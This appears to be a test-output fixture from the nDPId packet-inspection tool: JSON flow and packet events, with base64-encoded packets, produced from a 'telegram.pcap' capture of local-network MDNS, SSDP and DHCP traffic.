+00528{"flow_id":43,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":855,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779639,"pkt_ts_usec":152556,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8KINAADQR9IdbbAwFwKgBTQIZbfYAaHLEL+Sfp2xOtDPLzYKhu+piHuRszQ41FbqXYbZZXAVFrGnz5aD6BIy2wA8WvWucaYHtk\/B8UWoe98wisy7vNTjdhvmyB6Y3Dlp4+tSorsm+9d+JCobletUdU3L\/e04ZzdCo"} +00528{"flow_id":41,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":857,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779639,"pkt_ts_usec":166296,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8ugZAADQRYwZbbAwDwKgBTQISbfYAaKtUL+Sfp2xOtDPLzYKhu+piHrTHFdAFs\/SBIX5Iprv7doYCM0HACNVv0QlFf11rJbUDaIETC76BFd1FamkhtAFe0ooVzY\/LfUHdb+DFFh5kJjNqEmRDzDoNYGDvpKOPyWnW"} +00533{"flow_id":40,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":862,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779639,"pkt_ts_usec":193488,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"KDc3AG3IEBMx8Tl2CABFAAB8dmtAADYRoKNbbBABwKgBTQIRbfYAaFLeL+Sfp2xOtDPLzYKhu+piHlscntLRwoT3m1vJ\/doOEVvFUn\/+8frV46loAzRNGpVujhcnwTinUiHLcNG1\/K\/I\/bmsFhT6re8Lpl3\/xHBr3aApF0Ou1qQ9HrHg\/1stgsQm"} +00634{"flow_id":46,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779639,"pkt_ts_usec":832508,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AQBef\/\/6KDc3AG3ICABFAADKAckAAAERBWvAqAFN7\/\/\/+sufB2wAtsJkTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KVVNFUi1BR0VOVDogR29vZ2xlIENocm9tZS84My4wLjQxMDMuMzQgTWFjIE9TIFgNCg0K"} +00460{"flow_id":47,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":915,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779640,"pkt_ts_usec":101988,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"EBMx8Tl2KDc3AG3ICABFAABMml0AAEAR+X\/AqAFNVwvNw2326XwAOMsSsmK\/vWlJHJOqyuLBG8kWaad6RX1I27GljGkLPfHdr93dNQ8yPA7ggZLrS4Zn185b"} +00635{"flow_id":46,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":946,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779640,"pkt_ts_usec":832531,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"AQBef\/\/6KDc3AG3ICABFAADKXAQAAAERqy\/AqAFN7\/\/\/+sufB2wAtsJkTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KVVNFUi1BR0VOVDogR29vZ2xlIENocm9tZS84My4wLjQxMDMuMzQgTWFjIE9TIFgNCg0K"} +00460{"flow_id":14,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779641,"pkt_ts_usec":426701,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABEbZMAAEARiJHAqAE1wKgB\/+EV4RUAMNBmU3BvdFVkcDClWtsnvt2XzwABAACyJIr8D\/N2Z9WO7tpCHKgrvJhaBg=="} +00783{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779641,"pkt_ts_usec":445307,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJ5AAEARYHPAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGANQMhaoAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00771{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1026,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779642,"pkt_ts_usec":971355,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEymIIAAP8Rnk\/AqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00533{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1043,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779643,"pkt_ts_usec":386239,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"AQBeAAD7wJrQLWJ0CABFAACAWI0AAP8RwAbAqAE14AAA+xTpFOkAbI7lAAAAAAABAAEAAAABDF9zbGVlcC1wcm94eQRfdWRwBWxvY2FsAAAMAAHADAAMAAEAABFtABIPNTAtMzUtMTAtNzAuMSAxwAwAACkFoAAAEZQAEgAEAA4AMeKa0C1idMCa0C1idA=="} +00562{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1044,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779643,"pkt_ts_usec":386383,"pkt_caplen":162,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":162,"pkt_l4_len":108,"pkt":"MzMAAAD7wJrQLWJ0ht1gBqDxAGwR\/\/6AAAAAAAAAGKCkEok1wBv\/AgAAAAAAAAAAAAAAAAD7FOkU6QBsLTwAAAAAAAEAAQAAAAEMX3NsZWVwLXByb3h5BF91ZHAFbG9jYWwAAAwAAcAMAAwAAQAAEW0AEg81MC0zNS0xMC03MC4xIDHADAAAKQWgAAARlAASAAQADgAx4prQLWJ0wJrQLWJ0"} +00454{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1128,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779645,"pkt_ts_usec":374887,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD7wJrQLWJ0CABFAABJNSEAAAER4arAqAE14AAA+xTpFOkANQuaAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1129,"source":"telegram.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1588779645375,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00814{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1129,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779645,"pkt_ts_usec":375046,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"AQBeAAD7eCjKBfrMCABFAAFTiPpAAAERTLfAqAFF4AAA+xTpFOkBP9DmAACEAAAAAAEAAAADEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAABAAAAeAAvEXNvbm9zNzgyOENBMDVGQUNDEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MQX3Nwb3RpZnktY29ubmVjdARfdGNwBWxvY2FsAAAQgAEAABGUAB0LVkVSU0lPTj0xLjAQQ1BhdGg9L3Nwb3RpZnl6YxFzb25vczc4MjhDQTA1RkFDQxBfc3BvdGlmeS1jb25uZWN0BF90Y3AFbG9jYWwAACGAAQAAAHgAHwAAAAAFeBFzb25vczc4MjhDQTA1RkFDQwVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MFbG9jYWwAAAGAAQAAAHgABMCoAUU="} +00560{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1129,"source":"telegram.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1588779645375,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_spotify-connect._tcp.local"}} +00461{"flow_id":14,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1130,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779645,"pkt_ts_usec":381398,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABEsxIAAEARQxLAqAE1wKgB\/+EV4RUAMB\/7U3BvdFVkcDCyd4qJW50BwwABAABMUeIxMdBB4jsY0JrM5ZhQFz1Lqg=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1131,"source":"telegram.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1588779645381,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":50698,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00571{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1131,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779645,"pkt_ts_usec":381544,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACa3qgAAAERKNPAqAE17\/\/\/+sYKB2wAhlIKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1131,"source":"telegram.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1588779645381,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":50698,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00481{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1147,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779645,"pkt_ts_usec":854328,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7wJrQLWJ0CABFAABZEhgAAAIRA6TAqAE14AAA+xTpFOkARfrKAAEAAAACAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQlfQ0MzMkU3NTMEX3N1YsAMAAwAAQ=="} +00770{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1174,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779646,"pkt_ts_usec":451654,"pkt_caplen":320,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":320,"pkt_l4_len":286,"pkt":"jP5XIzfkKDc3AG3ICABFAAEyaYkAAP8RzUjAqAFNwKgBSxTpFOkBHhkOAACEAAAAAAEAAAAED19jb21wYW5pb24tbGluawRfdGNwBWxvY2FsAAAMAAEAABGUABANTHVjYeKAmXMgaU1hY8AMwDIAIYABAAAAeAATAAAAAMAFCkx1Y2FzLWlNYWPAIcAyABCAAQAAEZQAWBZycEJBPTM5OjJBOjg4OkFDOjQxOkFCCnJwVnI9MTUyLjERcnBIST1mOWM0NmM2ZGQwN2QRcnBITj0zYzVkYzVjZTk1NzgRcnBIQT04Y2E4Y2I3MzFjMWMNTHVjYeKAmXMgaU1hYwxfZGV2aWNlLWluZm\/AHAAQAAEAABGUABoObW9kZWw9aU1hYzExLDMKb3N4dmVycz0xN8BUAAGAAQAAAHgABMCoAU0="} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1177,"source":"telegram.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1588779645375,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1177,"source":"telegram.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1588779636498,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.77","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1177,"source":"telegram.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1588779645381,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":50698,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00784{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1179,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779646,"pkt_ts_usec":560083,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzGJ9AAEARYHLAqAAB\/\/\/\/\/wBEAEMBHwAAAQEGAHA28acAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00482{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779646,"pkt_ts_usec":913796,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"AQBeAAD7wJrQLWJ0CABFAABZib4AAAIRi\/3AqAE14AAA+xTpFOkARfrKAAEAAAACAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQlfQ0MzMkU3NTMEX3N1YsAMAAwAAQ=="} +00461{"flow_id":14,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1213,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779647,"pkt_ts_usec":270006,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/wJrQLWJ0CABFAABExqMAAEARL4HAqAE1wKgB\/+EV4RUAMB\/7U3BvdFVkcDCyd4qJW50BwwABAABMUeIxMdBB4jsY0JrM5ZhQFz1Lqg=="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1218,"source":"telegram.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1588779647380,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":50698,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00571{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779647,"pkt_ts_usec":380255,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACaUgcAAAERtXTAqAE17\/\/\/+sYKB2wAhlIKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1218,"source":"telegram.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1588779647380,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":50698,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00456{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1219,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779647,"pkt_ts_usec":380279,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD7wJrQLWJ0CABFAABJgtEAAAERk\/rAqAE14AAA+xTpFOkANQuaAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1220,"source":"telegram.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1588779647380,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00814{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779647,"pkt_ts_usec":380573,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"AQBeAAD7eCjKBfrMCABFAAFTigFAAAERS7DAqAFF4AAA+xTpFOkBP9DmAACEAAAAAAEAAAADEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAABAAAAeAAvEXNvbm9zNzgyOENBMDVGQUNDEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MQX3Nwb3RpZnktY29ubmVjdARfdGNwBWxvY2FsAAAQgAEAABGUAB0LVkVSU0lPTj0xLjAQQ1BhdGg9L3Nwb3RpZnl6YxFzb25vczc4MjhDQTA1RkFDQxBfc3BvdGlmeS1jb25uZWN0BF90Y3AFbG9jYWwAACGAAQAAAHgAHwAAAAAFeBFzb25vczc4MjhDQTA1RkFDQwVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MFbG9jYWwAAAGAAQAAAHgABMCoAUU="} +00560{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1220,"source":"telegram.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1588779647380,"flow_last_seen":0,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":319,"flow_max_l4_data_len":319,"flow_avg_l4_data_len":319,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.69","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","ndpi": {"proto":"MDNS","breed":"Acceptable","category":"Network"},"mdns": {"answer":"_spotify-connect._tcp.local"}} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1281,"source":"telegram.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1588779648840,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":56384,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00572{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1281,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779648,"pkt_ts_usec":840484,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"AQBef\/\/6wJrQLWJ0CABFAACaCVUAAAER\/ibAqAE17\/\/\/+txAB2wAhjvUTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSE9TVDogMjM5LjI1NS4yNTUuMjUwOjE5MDANCk1BTjogInNzZHA6ZGlzY292ZXIiDQpNWDogMQ0KU1Q6IHVybjpkaWFsLW11bHRpc2NyZWVuLW9yZzpzZXJ2aWNlOmRpYWw6MQ0KDQoA"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1281,"source":"telegram.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1588779648840,"flow_last_seen":0,"flow_tot_l4_data_len":134,"flow_min_l4_data_len":134,"flow_max_l4_data_len":134,"flow_avg_l4_data_len":134,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.53","dst_ip":"239.255.255.250","src_port":56384,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00455{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1282,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779648,"pkt_ts_usec":840510,"pkt_caplen":87,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":87,"pkt_l4_len":53,"pkt":"AQBeAAD7wJrQLWJ0CABFAABJAsIAAAERFArAqAE14AAA+xTpFOkANQuaAAAAAAABAAAAAAAAEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAAB"} +00814{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"telegram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1588779648,"pkt_ts_usec":840835,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":353,"pkt_l4_len":319,"pkt":"AQBeAAD7eCjKBfrMCABFAAFTiqZAAAERSwvAqAFF4AAA+xTpFOkBP9DmAACEAAAAAAEAAAADEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAAADAABAAAAeAAvEXNvbm9zNzgyOENBMDVGQUNDEF9zcG90aWZ5LWNvbm5lY3QEX3RjcAVsb2NhbAARc29ub3M3ODI4Q0EwNUZBQ0MQX3Nwb3RpZnktY29ubmVjdARfdGNwBWxvY2FsAAAQgAEAABGUAB0LVkVSU0lPTj0xLjAQQ1BhdGg9L3Nwb3RpZnl6YxFzb25vczc4MjhDQTA1RkFDQxBfc3BvdGlmeS1jb25u